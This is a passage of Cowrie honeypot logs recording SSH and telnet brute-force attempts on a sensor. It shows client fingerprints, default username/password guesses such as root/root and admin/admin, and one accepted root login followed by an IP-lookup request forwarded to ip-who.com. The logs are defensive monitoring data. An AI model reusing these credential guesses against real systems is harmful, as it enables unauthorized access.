man-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:40:18.378392Z","src_ip":"171.231.180.86","session":"2f7a9d38b5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:40:19.887231Z","src_ip":"171.231.180.86","session":"2f7a9d38b5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:40:21.278159Z","src_ip":"171.231.180.86","session":"2f7a9d38b5f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":46168,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cb684bf45e4","protocol":"ssh","message":"New connection: 171.243.151.30:46168 (10.17.0.5:22) [session: 6cb684bf45e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:42:00.191731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:42:00.198700Z","src_ip":"171.243.151.30","session":"6cb684bf45e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:42:00.900639Z","src_ip":"171.243.151.30","session":"6cb684bf45e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:42:02.229738Z","src_ip":"171.243.151.30","session":"6cb684bf45e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:42:03.598924Z","src_ip":"171.243.151.30","session":"6cb684bf45e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":52112,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad41291fb267","protocol":"telnet","message":"New connection: 49.88.156.34:52112 (10.17.0.5:23) [session: ad41291fb267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:42:43.208319Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":55016,"dst_ip":"10.17.0.5","dst_port":22,"session":"c057073f315e","protocol":"ssh","message":"New connection: 171.231.180.86:55016 (10.17.0.5:22) [session: c057073f315e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:44:02.083768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:44:04.735650Z","src_ip":"171.231.180.86","session":"c057073f315e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:44:04.819994Z","src_ip":"171.231.180.86","session":"c057073f315e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:44:06.410903Z","src_ip":"171.231.180.86","session":"c057073f315e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:44:07.702581Z","src_ip":"171.231.180.86","session":"c057073f315e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.17496156692505,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:44:30.383163Z","src_ip":"49.88.156.34","session":"ad41291fb267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":56988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6937bce2c1f1","protocol":"ssh","message":"New connection: 171.231.180.86:56988 (10.17.0.5:22) [session: 6937bce2c1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:37.405030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:37.409610Z","src_ip":"171.231.180.86","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:37.662154Z","src_ip":"171.231.180.86","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"@","message":"login attempt [root/@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:38.878056Z","src_ip":"171.231.180.86","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.231.180.86","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:39.134214Z","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:39.413034Z","src_ip":"171.231.180.86","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:39.417179Z","src_ip":"171.231.180.86","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:45:39.670944Z","src_ip":"171.231.180.86","session":"6937bce2c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38732,"dst_ip":"10.17.0.5","dst_port":22,"session":"570d1328494f","protocol":"ssh","message":"New connection: 45.148.10.121:38732 (10.17.0.5:22) [session: 570d1328494f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:47:08.501056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:47:08.506538Z","src_ip":"45.148.10.121","session":"570d1328494f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:47:08.582628Z","src_ip":"45.148.10.121","session":"570d1328494f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:47:08.809234Z","src_ip":"45.148.10.121","session":"570d1328494f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:47:09.887863Z","src_ip":"45.148.10.121","session":"570d1328494f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":57584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a242d70dbded","protocol":"ssh","message":"New connection: 171.243.151.30:57584 (10.17.0.5:22) [session: a242d70dbded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:48:45.006181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:48:45.015591Z","src_ip":"171.243.151.30","session":"a242d70dbded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:48:45.248700Z","src_ip":"171.243.151.30","session":"a242d70dbded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:48:46.227696Z","src_ip":"171.243.151.30","session":"a242d70dbded","protocol":"ssh"}
